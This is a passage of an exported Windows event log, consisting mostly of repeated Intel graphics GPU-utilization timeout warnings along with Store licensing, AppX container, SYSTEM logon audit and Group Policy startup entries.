08:58:32.661\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:32.872\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:33.089\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:33.312\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:33.534\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:33.756\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:34.202\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:34.424\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:34.649\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:34.982\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:35.426\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:35.981\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:36.203\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:36.648\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:37.315\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:37.650\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:37.871\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:38.077\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:38.401\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:38.622\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:38.955\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:39.176\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:39.624\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:40.178\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:40.954\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:41.179\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:41.725\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:41.948\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:42.168\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:42.391\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:42.725\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:42.946\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:43.502\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:44.721\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:46.056\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:46.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:46.950\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:47.284\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:48.062\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:48.286\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:49.516\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:49.740\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:50.076\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:50.609\t8001\t\"Invoking license manager because license/lease polling time up: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8011\t0x21f831d3840: 2976: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8012\t0x21f831d3840: 2976: Key:Valid Change: Key:Invalid => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8011\t0x21f8312b820: 8012: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8011\t0x21f8312b820: 8012: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8012\t0x21f8312b820: 8012: Lease:Valid Change: Lease:Invalid => {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8001\t\"Requesting lease document removal for reason 0x00000000, {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.611\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.611\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.611\t8002\t\"Trying to remove timer {1173A7B1-89F2-09CC-0563-CDED7D7397B9} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.611\t8001\t\"Removed timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.636\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:50.972\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:51.306\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:52.416\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:52.637\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:52.972\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:53.307\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:53.976\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:54.201\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:54.537\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:54.869\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:55.091\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:55.314\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:56.092\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:56.539\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:57.204\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:57.981\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:58.204\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:59.100\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:59.108\t210\tCreated Desktop AppX container {245CDE03-A8C9-11F1-B7FF-289200F24A99} for package MonitorManage_1.0.0.1_neutral__s7rhbyg9f8xr8.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:58:59.108\t211\tAdded process 15536 to Desktop AppX container 245cde03-a8c9-11f1-b7ff-289200f24a99 for package MonitorManage_1.0.0.1_neutral__s7rhbyg9f8xr8.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:58:59.147\t8001\t\"Skipping license manager: PFN Microsoft.WindowsTerminal_1.24.11911.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:59.172\t210\tCreated Desktop AppX container {245CDE08-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsTerminal_1.24.11911.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:58:59.172\t211\tAdded process 5392 to Desktop AppX container 245cde08-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.WindowsTerminal_1.24.11911.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:58:59.660\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:59.886\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:00.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:00.330\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:00.664\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:01.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:01.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:01.890\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:02.445\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:02.450\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"explorer\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:04.164\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:59:04.164\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:59:04.181\t4116\tStarted the Group Policy service initialization phase.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.184\t4115\tGroup Policy Service started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.184\t5324\tGroup Policy received the notification CreateSession from Winlogon for session 0.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.184\t5351\tGroup policy session returned to winlogon.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.185\t4117\tGroup Policy Session started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 